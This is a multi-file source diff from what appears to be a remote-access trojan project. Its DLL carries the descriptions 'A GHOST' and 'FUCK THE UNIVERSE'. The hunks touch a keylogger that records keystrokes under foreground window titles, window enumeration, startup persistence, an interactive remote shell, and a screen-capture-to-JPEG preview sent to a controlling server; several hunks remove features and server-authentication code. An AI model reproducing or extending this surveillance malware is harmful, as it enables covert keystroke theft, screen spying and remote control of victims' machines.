|
||||
if (wcscmp(info[i].MimeType, L"image/jpeg") == 0) {
|
||||
clsid = info[i].Clsid;
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 抓主屏到 24bpp Bitmap,目标尺寸已等比换算。
|
||||
// 返回新分配的 Bitmap*,失败返回 nullptr。调用者负责 delete。
|
||||
Bitmap* GrabPrimaryScaled(int targetW, int targetH)
|
||||
{
|
||||
HDC hScreen = GetDC(NULL);
|
||||
if (!hScreen) return nullptr;
|
||||
|
||||
int srcX = GetSystemMetrics(SM_XVIRTUALSCREEN); // 主屏左上 — 仅取主屏时用 0,0
|
||||
int srcY = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
||||
(void)srcX; (void)srcY;
|
||||
|
||||
int srcW = GetSystemMetrics(SM_CXSCREEN);
|
||||
int srcH = GetSystemMetrics(SM_CYSCREEN);
|
||||
if (srcW <= 0 || srcH <= 0) {
|
||||
ReleaseDC(NULL, hScreen);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
HDC hMem = CreateCompatibleDC(hScreen);
|
||||
HBITMAP hBmp = CreateCompatibleBitmap(hScreen, targetW, targetH);
|
||||
if (!hMem || !hBmp) {
|
||||
if (hBmp) DeleteObject(hBmp);
|
||||
if (hMem) DeleteDC(hMem);
|
||||
ReleaseDC(NULL, hScreen);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
HGDIOBJ oldBmp = SelectObject(hMem, hBmp);
|
||||
|
||||
// 高质量缩放:HALFTONE 内插
|
||||
SetStretchBltMode(hMem, HALFTONE);
|
||||
SetBrushOrgEx(hMem, 0, 0, NULL);
|
||||
BOOL bb = StretchBlt(hMem, 0, 0, targetW, targetH,
|
||||
hScreen, 0, 0, srcW, srcH, SRCCOPY | CAPTUREBLT);
|
||||
|
||||
SelectObject(hMem, oldBmp);
|
||||
|
||||
Bitmap* out = nullptr;
|
||||
if (bb) {
|
||||
// 拷贝 HBITMAP 到 GDI+ Bitmap,避免后续释放设备 DC 影响图像
|
||||
Bitmap tmp(hBmp, NULL);
|
||||
if (tmp.GetLastStatus() == Ok) {
|
||||
out = tmp.Clone(0, 0, targetW, targetH, PixelFormat24bppRGB);
|
||||
if (out && out->GetLastStatus() != Ok) {
|
||||
delete out;
|
||||
out = nullptr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DeleteObject(hBmp);
|
||||
DeleteDC(hMem);
|
||||
ReleaseDC(NULL, hScreen);
|
||||
return out;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
int CaptureAndEncodePreview(int maxWidth, int quality,
|
||||
std::vector<unsigned char>& out,
|
||||
int& outWidth, int& outHeight)
|
||||
{
|
||||
out.clear();
|
||||
outWidth = outHeight = 0;
|
||||
|
||||
if (!g_boot.ok) return SCREEN_PREVIEW_NOT_SUPPORTED;
|
||||
if (maxWidth < 64) maxWidth = 64;
|
||||
if (maxWidth > 1920) maxWidth = 1920;
|
||||
if (quality < 1) quality = 1;
|
||||
if (quality > 100) quality = 100;
|
||||
|
||||
int srcW = GetSystemMetrics(SM_CXSCREEN);
|
||||
int srcH = GetSystemMetrics(SM_CYSCREEN);
|
||||
if (srcW <= 0 || srcH <= 0) return SCREEN_PREVIEW_CAPTURE_FAILED;
|
||||
|
||||
// 等比缩放,禁止放大
|
||||
int targetW = (srcW <= maxWidth) ? srcW : maxWidth;
|
||||
int targetH = (int)((double)srcH * targetW / srcW + 0.5);
|
||||
if (targetH <= 0) targetH = 1;
|
||||
// 偶数对齐,JPEG 编码更高效
|
||||
targetW &= ~1;
|
||||
targetH &= ~1;
|
||||
if (targetW < 2) targetW = 2;
|
||||
if (targetH < 2) targetH = 2;
|
||||
|
||||
Bitmap* bmp = GrabPrimaryScaled(targetW, targetH);
|
||||
if (!bmp) return SCREEN_PREVIEW_CAPTURE_FAILED;
|
||||
|
||||
CLSID clsid;
|
||||
if (GetJpegEncoderClsid(clsid) != 0) {
|
||||
delete bmp;
|
||||
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||
}
|
||||
|
||||
EncoderParameters params;
|
||||
params.Count = 1;
|
||||
params.Parameter[0].Guid = EncoderQuality;
|
||||
params.Parameter[0].Type = EncoderParameterValueTypeLong;
|
||||
params.Parameter[0].NumberOfValues = 1;
|
||||
ULONG q = (ULONG)quality;
|
||||
params.Parameter[0].Value = &q;
|
||||
|
||||
IStream* stream = nullptr;
|
||||
if (FAILED(CreateStreamOnHGlobal(NULL, TRUE, &stream))) {
|
||||
delete bmp;
|
||||
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||
}
|
||||
|
||||
Status st = bmp->Save(stream, &clsid, ¶ms);
|
||||
delete bmp;
|
||||
|
||||
if (st != Ok) {
|
||||
stream->Release();
|
||||
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||
}
|
||||
|
||||
HGLOBAL hMem = NULL;
|
||||
if (FAILED(GetHGlobalFromStream(stream, &hMem)) || !hMem) {
|
||||
stream->Release();
|
||||
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||
}
|
||||
SIZE_T sz = GlobalSize(hMem);
|
||||
if (sz == 0) {
|
||||
stream->Release();
|
||||
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||
}
|
||||
|
||||
void* p = GlobalLock(hMem);
|
||||
if (!p) {
|
||||
stream->Release();
|
||||
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||
}
|
||||
out.assign((unsigned char*)p, (unsigned char*)p + sz);
|
||||
GlobalUnlock(hMem);
|
||||
stream->Release();
|
||||
|
||||
outWidth = targetW;
|
||||
outHeight = targetH;
|
||||
return SCREEN_PREVIEW_OK;
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
// ScreenPreview.h
|
||||
// 屏幕预览:抓主屏 → 等比缩放 → JPEG 编码,供 COMMAND_SCREEN_PREVIEW_REQ 响应使用。
|
||||
#pragma once
|
||||
|
||||
#include <vector>
|
||||
|
||||
// 抓取主屏并编码成 JPEG。
|
||||
// maxWidth 服务端期望的宽度;客户端按源屏宽度等比缩放,不会强制放大
|
||||
// quality JPEG 质量 1..100(建议 40..85)
|
||||
// out 编码后的 JPEG 字节流
|
||||
// outWidth 实际编码图宽
|
||||
// outHeight 实际编码图高
|
||||
// 返回 0 表示成功;非 0 见 ScreenPreviewStatus(枚举在 commands.h)
|
||||
int CaptureAndEncodePreview(int maxWidth, int quality,
|
||||
std::vector<unsigned char>& out,
|
||||
int& outWidth, int& outHeight);
|
||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,3,3
|
||||
FILEVERSION 1,0,3,2
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -106,7 +106,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.3.3"
|
||||
VALUE "FileVersion", "1.0.3.2"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
@@ -264,14 +264,8 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
|
||||
LPBYTE szBuffer = *(LPBYTE*)lParam;
|
||||
char szTitle[1024];
|
||||
memset(szTitle, 0, sizeof(szTitle));
|
||||
// 用 W 接口取标题再转 UTF-8 写入 szTitle,避免依赖客户端 CP_ACP;
|
||||
// 服务端 SystemDlg::ShowWindowsList 按 UTF-8 解码后用宽字符塞进 ListCtrl。
|
||||
wchar_t wTitle[1024] = {};
|
||||
GetWindowTextW(hWnd, wTitle, _countof(wTitle));
|
||||
if (wTitle[0]) {
|
||||
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
|
||||
szTitle, sizeof(szTitle), NULL, NULL);
|
||||
}
|
||||
//得到系统传递进来的窗口句柄的窗口标题
|
||||
GetWindowText(hWnd, szTitle, sizeof(szTitle));
|
||||
//这里判断 窗口是否可见 或标题为空
|
||||
BOOL m_bShowHidden = TRUE;
|
||||
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
|
||||
|
||||
Binary file not shown.
@@ -209,7 +209,6 @@
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
@@ -258,7 +257,6 @@
|
||||
<ClInclude Include="SafeThread.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenPreview.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
|
||||
@@ -94,17 +94,9 @@ int Save(int key_stroke)
|
||||
}
|
||||
|
||||
if (foreground) {
|
||||
// 用 W 接口取标题再转 UTF-8,避免依赖客户端系统 ANSI 代码页:
|
||||
// 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP(中文机=GBK),
|
||||
// 服务端按自己的 CP_ACP 解释会乱码(例如德语机=CP1252)。
|
||||
char window_title[MAX_PATH] = {};
|
||||
wchar_t wTitle[MAX_PATH] = {};
|
||||
GET_PROCESS_EASY(GetWindowTextW);
|
||||
GetWindowTextW(foreground, wTitle, MAX_PATH);
|
||||
if (wTitle[0]) {
|
||||
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
|
||||
window_title, MAX_PATH, NULL, NULL);
|
||||
}
|
||||
GET_PROCESS_EASY(GetWindowTextA);
|
||||
GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
|
||||
|
||||
if (strcmp(window_title, lastwindow) != 0) {
|
||||
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
|
||||
@@ -115,7 +107,7 @@ int Save(int key_stroke)
|
||||
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
|
||||
s.wHour, s.wMinute, s.wSecond);
|
||||
|
||||
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
|
||||
output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,52 +0,0 @@
|
||||
// sign_shim_unix.cpp - Linux/macOS adapter for libsign.a's C interface
|
||||
//
|
||||
// libsign.a 公开 ABI 是 C linkage(避免 std::string 跨编译器/跨 libstdc++
|
||||
// 版本 ABI 风险),但 YAMA 客户端代码(IOCPClient.cpp / KernelManager.cpp /
|
||||
// linux/main.cpp / macos/main.mm)习惯用 std::string 调用 signMessage /
|
||||
// verifyMessage。本文件提供 C++ 适配,让两边契合。
|
||||
//
|
||||
// Windows 不编译这个文件——Windows 直接链接私有 .lib 提供的 std::string 版本。
|
||||
|
||||
#include <string>
|
||||
#include <cstring>
|
||||
|
||||
// libsign.a 提供的 C 接口
|
||||
extern "C" {
|
||||
int signMessage_c(const char* privateKey, int privateKeyLen,
|
||||
const unsigned char* msg, int msgLen,
|
||||
char* outBuf, int outBufSize);
|
||||
int verifyMessage_c(const char* publicKey, int publicKeyLen,
|
||||
const unsigned char* msg, int msgLen,
|
||||
const char* sigHex, int sigLen);
|
||||
int isVerifyCalled_c(void);
|
||||
}
|
||||
|
||||
// 与 YAMA common/commands.h 中 BYTE 一致
|
||||
typedef unsigned char BYTE;
|
||||
|
||||
// ============================================================================
|
||||
// 提供 YAMA 既有声明所期望的 C++ 符号
|
||||
// ============================================================================
|
||||
|
||||
std::string signMessage(const std::string& privateKey, BYTE* msg, int len)
|
||||
{
|
||||
char buf[65] = {};
|
||||
int n = signMessage_c(privateKey.c_str(), (int)privateKey.size(),
|
||||
msg, len,
|
||||
buf, sizeof(buf));
|
||||
if (n != 64) return std::string();
|
||||
return std::string(buf, 64);
|
||||
}
|
||||
|
||||
bool verifyMessage(const std::string& publicKey, BYTE* msg, int len,
|
||||
const std::string& signature)
|
||||
{
|
||||
return verifyMessage_c(publicKey.c_str(), (int)publicKey.size(),
|
||||
msg, len,
|
||||
signature.data(), (int)signature.size()) != 0;
|
||||
}
|
||||
|
||||
int isVerifyCalled()
|
||||
{
|
||||
return isVerifyCalled_c();
|
||||
}
|
||||
@@ -205,14 +205,11 @@ private:
|
||||
// Disable zsh session save/restore (causes errors in PTY)
|
||||
setenv("SHELL_SESSIONS_DISABLE", "1", 1);
|
||||
|
||||
// Try zsh first (macOS default), fallback to bash. Use -l (login) so
|
||||
// ~/.zprofile is sourced — Homebrew's `brew shellenv` (which puts
|
||||
// /opt/homebrew/bin on PATH) lives there. Without -l the PTY can't
|
||||
// see brew / cmake / node / pyenv / rustup etc.
|
||||
// Try zsh first (macOS default), fallback to bash
|
||||
if (access("/bin/zsh", X_OK) == 0) {
|
||||
execl("/bin/zsh", "zsh", "-l", "-i", nullptr);
|
||||
execl("/bin/zsh", "zsh", "-i", nullptr);
|
||||
}
|
||||
execl("/bin/bash", "bash", "-l", "-i", nullptr);
|
||||
execl("/bin/bash", "bash", "-i", nullptr);
|
||||
#else
|
||||
// Linux locale settings (C.UTF-8 is most portable)
|
||||
setenv("LANG", "C.UTF-8", 1);
|
||||
|
||||
@@ -1,103 +0,0 @@
|
||||
// client_auth_state.h
|
||||
// Linux/macOS 客户端服务端身份校验状态 + helper(Layer 1 防护)。
|
||||
//
|
||||
// 行为模型:
|
||||
// - g_loginMsg:startTime + "|" + clientID,启动时填一次,跨重连不变
|
||||
// - g_loginTime:每次新连接重置为当前时刻
|
||||
// - g_settingsVerified:服务端 CMD_MASTERSETTING 通过签名校验后置 true,
|
||||
// 重连时重置为 false
|
||||
//
|
||||
// 客户端是常驻服务——服务端可能频繁重启 / 长期离线 / 临时不可达,这些都不应
|
||||
// 让进程退出。校验失败仅作"本次连接不可信"处理:断开本连接 + 让外层重连。
|
||||
// 功能侧的安全由子连接 auth(TOKEN_CONN_AUTH)兜底——没通过校验的服务端无法
|
||||
// 触发任何 sub-connection 功能。
|
||||
//
|
||||
// 跨线程访问:
|
||||
// - g_settingsVerified 在 DataProcess(IO 线程)写、心跳循环(main 线程)读
|
||||
// - 用 std::atomic<bool> + acquire/release 内存序保证可见性
|
||||
//
|
||||
// C++17 inline 变量保证多翻译单元共享同一实例,无 ODR 冲突。
|
||||
#pragma once
|
||||
|
||||
#include <atomic>
|
||||
#include <cstring>
|
||||
#include <ctime>
|
||||
#include <string>
|
||||
|
||||
#include "common/commands.h"
|
||||
|
||||
// 全局 namespace 中的 verifyMessage:由 client/sign_shim_unix.cpp(Linux/macOS)或
|
||||
// 私有 .lib(Windows)提供。必须在任何 namespace 之外声明,否则会被解析成
|
||||
// ClientAuth::verifyMessage 导致链接失败。
|
||||
extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len,
|
||||
const std::string& signature);
|
||||
|
||||
namespace ClientAuth {
|
||||
|
||||
// ============== 跨重连保留的状态 ==============
|
||||
inline std::string g_loginMsg;
|
||||
inline time_t g_loginTime = 0;
|
||||
inline std::atomic<bool> g_settingsVerified{false};
|
||||
|
||||
// ============== Helpers ==============
|
||||
|
||||
// 进入新连接前调用:g_loginTime = now,verified = false
|
||||
inline void OnNewConnection()
|
||||
{
|
||||
g_loginTime = time(nullptr);
|
||||
g_settingsVerified.store(false, std::memory_order_release);
|
||||
}
|
||||
|
||||
// DataProcess 开头的 gate:未通过校验前仅放行 CMD_MASTERSETTING(校验本身)。
|
||||
// 其它命令一律静默忽略——既防止未授权服务端 spawn 子连接线程做 DoS,
|
||||
// 也防止它发 COMMAND_BYE 之类把客户端进程关掉。
|
||||
inline bool IsCommandAllowed(unsigned char cmd)
|
||||
{
|
||||
return g_settingsVerified.load(std::memory_order_acquire) || cmd == CMD_MASTERSETTING;
|
||||
}
|
||||
|
||||
// 处理 CMD_MASTERSETTING(payload = szBuffer + 1,payloadLen = ulLength - 1):
|
||||
// 强制要求完整 MasterSettings(包含 Signature 字段);不完整 / 签名失败 → 不更新
|
||||
// g_settingsVerified,让心跳循环 30s 超时自然把本次连接断开重连。
|
||||
//
|
||||
// 返回 true:校验通过(已 store(true)),通过 outReportInterval / outSettingsCopy
|
||||
// 返回 settings 内容供调用方继续应用(更新心跳间隔、密码哈希等)
|
||||
// 返回 false:本次响应异常,调用方应直接 return(不要继续处理)
|
||||
//
|
||||
// 注意:参数采用 unsigned char* 而非 BYTE* 避免依赖 Windows typedef;
|
||||
// BYTE 在 commands.h 已 typedef 为 unsigned char,等价。
|
||||
inline bool HandleMasterSettings(const unsigned char* payload, int payloadLen,
|
||||
MasterSettings* outSettings)
|
||||
{
|
||||
if (payloadLen < (int)sizeof(MasterSettings)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
MasterSettings settings = {};
|
||||
std::memcpy(&settings, payload, sizeof(MasterSettings));
|
||||
|
||||
// 服务端身份校验:用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature
|
||||
// 验证签名。失败 → 不立即退出,让超时兜底+重连逻辑处理。
|
||||
// 注意 ::verifyMessage 在全局 namespace(见本头部 extern 声明),不能省略 :: 前缀,
|
||||
// 否则会被解析为 ClientAuth::verifyMessage,链接失败。
|
||||
std::string sig((char*)settings.Signature,
|
||||
(char*)settings.Signature + sizeof(settings.Signature));
|
||||
if (!::verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
g_settingsVerified.store(true, std::memory_order_release);
|
||||
if (outSettings) *outSettings = settings;
|
||||
return true;
|
||||
}
|
||||
|
||||
// 心跳循环里检查 30s 超时:登录后 30 秒内必须收到并通过 MasterSettings 校验,
|
||||
// 失败 → 调用方应显式断开本连接让外层重连。永不退出进程。
|
||||
inline bool IsTimedOut()
|
||||
{
|
||||
return !g_settingsVerified.load(std::memory_order_acquire) &&
|
||||
g_loginTime > 0 &&
|
||||
time(nullptr) - g_loginTime > 30;
|
||||
}
|
||||
|
||||
} // namespace ClientAuth
|
||||
@@ -125,10 +125,7 @@ inline int isValid_10s()
|
||||
#define DLL_VERSION __DATE__ // DLL版本
|
||||
|
||||
// 客户端能力位
|
||||
#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
|
||||
#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等)
|
||||
// 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读
|
||||
#define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图)
|
||||
#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
|
||||
|
||||
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
|
||||
|
||||
@@ -334,103 +331,8 @@ enum {
|
||||
CMD_EXECUTE_DLL_NEW = 243, // 执行代码
|
||||
CMD_PEER_TO_PEER = 244, // P2P通信
|
||||
TOKEN_CLIENTID = 245,
|
||||
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck)
|
||||
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
|
||||
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
|
||||
};
|
||||
|
||||
// 子连接校验:HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
|
||||
// 钉在子连接 ctx 上,后续命令免 IP 反查直接拿到主连接关联。
|
||||
// 主连接(TOKEN_LOGIN 流)不走此校验。
|
||||
//
|
||||
// 兼容性策略:
|
||||
// - 老客户端不发 → 新服务端宽容(保留 IP 反查兜底,行为不变)。
|
||||
// - 新客户端发出 → 等服务端 ConnAuthAck,超时或失败则不继续。
|
||||
// - 因此新客户端只能向新服务端连接(破坏性升级)。
|
||||
// - 未来收紧:服务端可拒绝所有未通过 auth 的子连接。
|
||||
//
|
||||
// 协议固定为 512 / 256 字节(参照 LOGIN_INFOR::szReserved[512] 的做法),
|
||||
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
|
||||
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
|
||||
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
|
||||
#pragma pack(push, 1)
|
||||
struct ConnAuthPacket {
|
||||
uint8_t token; // = TOKEN_CONN_AUTH [1]
|
||||
uint64_t clientID; // 客户端 V2 ID(MachineGuid + 归一化路径算出) [8]
|
||||
uint64_t timestamp; // 客户端发包时的 Unix 秒,防重放第一道 [8]
|
||||
uint8_t nonce[16]; // 随机数,进一步降低重放/碰撞概率 [16]
|
||||
char signature[64]; // signMessage("", clientID||timestamp||nonce, 32) [64]
|
||||
char reserved[415]; // 预留扩展 [415]
|
||||
}; // 总 512
|
||||
|
||||
// 服务端响应:token + status + serverTime + 预留,固定 256 字节。
|
||||
// serverTime 客户端可用来校正本机时钟偏差用于后续协议(可选)。
|
||||
struct ConnAuthAck {
|
||||
uint8_t token; // = TOKEN_CONN_AUTH(回显,方便客户端 dispatch) [1]
|
||||
uint8_t status; // 0=OK, 其它=失败原因(见 ConnAuthStatus) [1]
|
||||
uint64_t serverTime; // 服务端处理时的 Unix 秒 [8]
|
||||
char reserved[246]; // 预留扩展 [246]
|
||||
}; // 总 256
|
||||
#pragma pack(pop)
|
||||
|
||||
// 编译期断言:协议大小不允许被无意改动
|
||||
static_assert(sizeof(ConnAuthPacket) == 512, "ConnAuthPacket must be exactly 512 bytes");
|
||||
static_assert(sizeof(ConnAuthAck) == 256, "ConnAuthAck must be exactly 256 bytes");
|
||||
|
||||
// 屏幕预览:服务端按双击在线主机触发,向客户端要一张缩略图(JPEG),与浮窗一起显示。
|
||||
// 服务端依 ctx 最近心跳 Ping + RES_RESOLUTION 决定 maxWidth/quality 后下发;客户端
|
||||
// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。format 字段 v1 锁 0=JPEG,预留 PNG/WebP。
|
||||
#pragma pack(push, 1)
|
||||
struct ScreenPreviewReq {
|
||||
uint8_t cmd; // = COMMAND_SCREEN_PREVIEW_REQ
|
||||
uint16_t reqId; // 请求序号,用于丢弃过期响应
|
||||
uint16_t maxWidth; // 服务端期望的目标宽度(客户端等比缩放,不强制)
|
||||
uint8_t jpegQuality; // 1..100
|
||||
uint16_t reserved;
|
||||
}; // 总 8 字节
|
||||
|
||||
enum ScreenPreviewStatus {
|
||||
SCREEN_PREVIEW_OK = 0,
|
||||
SCREEN_PREVIEW_CAPTURE_FAILED = 1, // 抓屏失败
|
||||
SCREEN_PREVIEW_ENCODE_FAILED = 2, // 编码失败
|
||||
SCREEN_PREVIEW_NOT_SUPPORTED = 3, // 平台不支持
|
||||
};
|
||||
|
||||
enum ScreenPreviewFormat {
|
||||
SCREEN_PREVIEW_FMT_JPEG = 0,
|
||||
SCREEN_PREVIEW_FMT_PNG = 1, // 预留
|
||||
SCREEN_PREVIEW_FMT_WEBP = 2, // 预留
|
||||
};
|
||||
|
||||
struct ScreenPreviewRspHeader {
|
||||
uint8_t token; // = TOKEN_SCREEN_PREVIEW_RSP
|
||||
uint16_t reqId; // 回显请求序号
|
||||
uint8_t status; // ScreenPreviewStatus
|
||||
uint8_t format; // ScreenPreviewFormat(v1 仅 JPEG)
|
||||
uint16_t width; // 实际编码图宽
|
||||
uint16_t height; // 实际编码图高
|
||||
uint32_t bytes; // 图像字节数(紧随其后)
|
||||
uint8_t reserved[3];
|
||||
// 后接 data[bytes]
|
||||
}; // 头部 16 字节
|
||||
#pragma pack(pop)
|
||||
|
||||
static_assert(sizeof(ScreenPreviewReq) == 8, "ScreenPreviewReq must be 8 bytes");
|
||||
static_assert(sizeof(ScreenPreviewRspHeader) == 16, "ScreenPreviewRspHeader must be 16 bytes");
|
||||
|
||||
enum ConnAuthStatus {
|
||||
CONN_AUTH_OK = 0,
|
||||
CONN_AUTH_BAD_SIZE = 1, // 包长度不对
|
||||
CONN_AUTH_CLOCK_SKEW = 2, // 时间戳超过容忍范围
|
||||
CONN_AUTH_BAD_SIGNATURE = 3, // HMAC 不匹配
|
||||
CONN_AUTH_INTERNAL_ERROR = 4,
|
||||
};
|
||||
|
||||
#define CONN_AUTH_TIMESTAMP_TOLERANCE_SEC 300 // 客户端/服务端时钟漂移容忍 ±5 分钟
|
||||
#define CONN_AUTH_CLIENT_WAIT_MS 10000 // 客户端等待 ack 的超时
|
||||
// 设为 10 秒留足跨太平洋 + 拥塞 / 卫星链路 / 偏远网络的余量;
|
||||
// 同机几毫秒就回,正常路径用户感知不到。
|
||||
|
||||
enum MachineCommand {
|
||||
MACHINE_LOGOUT,
|
||||
MACHINE_SHUTDOWN,
|
||||
@@ -1014,14 +916,7 @@ typedef struct LOGIN_INFOR {
|
||||
{
|
||||
memset(this, 0, sizeof(LOGIN_INFOR));
|
||||
bToken = TOKEN_LOGIN;
|
||||
// 能力位:声明客户端实际实现了的功能。SCREEN_PREVIEW 只在 Windows 客户端
|
||||
// 实现(依赖 GDI BitBlt + GDI+ JPEG),Linux/macOS 不声明,避免服务端发请求
|
||||
// 后等 4s 超时显示"预览不可用"。
|
||||
unsigned int caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
||||
#ifdef _WIN32
|
||||
caps |= CLIENT_CAP_SCREEN_PREVIEW;
|
||||
#endif
|
||||
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, caps);
|
||||
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2);
|
||||
}
|
||||
LOGIN_INFOR& Speed(unsigned long speed)
|
||||
{
|
||||
@@ -1194,29 +1089,6 @@ inline const QualityProfile& GetQualityProfile(int level) {
|
||||
return g_QualityProfiles[level];
|
||||
}
|
||||
|
||||
// 屏幕预览质量配置(与 QualityLevel 共用 RTT 阈值表,但参数维度不同:缩略图只关心
|
||||
// 编码尺寸 + JPEG 质量,没有 FPS / 算法等运动视频参数)
|
||||
struct PreviewProfile {
|
||||
int maxWidth; // 期望编码宽度(客户端会等比缩放,禁止放大)
|
||||
int jpegQuality; // JPEG 质量 1..100
|
||||
};
|
||||
|
||||
inline const PreviewProfile& GetScreenPreviewProfile(int level) {
|
||||
static const PreviewProfile g_PreviewProfiles[QUALITY_COUNT] = {
|
||||
{ 1024, 85 }, // Ultra: 超清 (LAN/同省,4K 源屏可进一步放大到 1280)
|
||||
{ 800, 80 }, // High: 高清 (跨省直连)
|
||||
{ 640, 75 }, // Good: 标清 (同国/邻国)
|
||||
{ 480, 70 }, // Medium: 常规 (大陆间)
|
||||
{ 384, 60 }, // Low: 低清 (跨洲)
|
||||
{ 256, 50 }, // Minimal: 最低 (极差网络/卫星链路)
|
||||
};
|
||||
if (level < 0 || level >= QUALITY_COUNT) {
|
||||
static const PreviewProfile fallback = { 480, 70 };
|
||||
return fallback;
|
||||
}
|
||||
return g_PreviewProfiles[level];
|
||||
}
|
||||
|
||||
// 根据RTT获取目标质量等级 (控制端使用)
|
||||
inline int GetTargetQualityLevel(int rtt, int usingFRP) {
|
||||
// 根据模式应用不同 RTT阈值 (毫秒)
|
||||
|
||||
@@ -1,99 +0,0 @@
|
||||
// posix_net_helpers.h
|
||||
// Linux/macOS 客户端共用的网络/Shell 工具:execCmd / httpGet / getPublicIP /
|
||||
// jsonExtract / getGeoLocation。Windows 端已有等价实现,不应包含此头。
|
||||
//
|
||||
// 全部 inline,header-only,避免新增 .cpp / 改 CMakeLists。
|
||||
//
|
||||
// 设计说明:
|
||||
// - httpGet 优先 curl,备选 wget(Linux 默认自带;macOS 默认无 wget,缺失时
|
||||
// wget 命令失败、execCmd 返空——无副作用,等价于"只用 curl")
|
||||
// - getPublicIP 轮询多个公网 IP 查询源,按顺序尝试直到成功
|
||||
// - jsonExtract 仅做最简单的 "key":"value" 提取,不依赖 jsoncpp
|
||||
// - getGeoLocation 通过 ipinfo.io 反查地理位置,与 Windows IPConverter 同源
|
||||
#pragma once
|
||||
|
||||
#include <cstdio>
|
||||
#include <memory>
|
||||
#include <string>
|
||||
|
||||
#include "common/logger.h"
|
||||
|
||||
namespace PosixNet {
|
||||
|
||||
// 执行 shell 命令,捕获其 stdout 输出(trim 末尾空白后返回)
|
||||
inline std::string execCmd(const std::string& cmd)
|
||||
{
|
||||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
|
||||
if (!pipe) return "";
|
||||
char buf[4096];
|
||||
std::string result;
|
||||
while (fgets(buf, sizeof(buf), pipe.get())) {
|
||||
result += buf;
|
||||
}
|
||||
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
|
||||
result.pop_back();
|
||||
return result;
|
||||
}
|
||||
|
||||
// HTTP GET 请求:优先 curl,备选 wget
|
||||
inline std::string httpGet(const std::string& url, int timeoutSec = 5)
|
||||
{
|
||||
std::string t = std::to_string(timeoutSec);
|
||||
std::string r = execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
|
||||
if (!r.empty()) return r;
|
||||
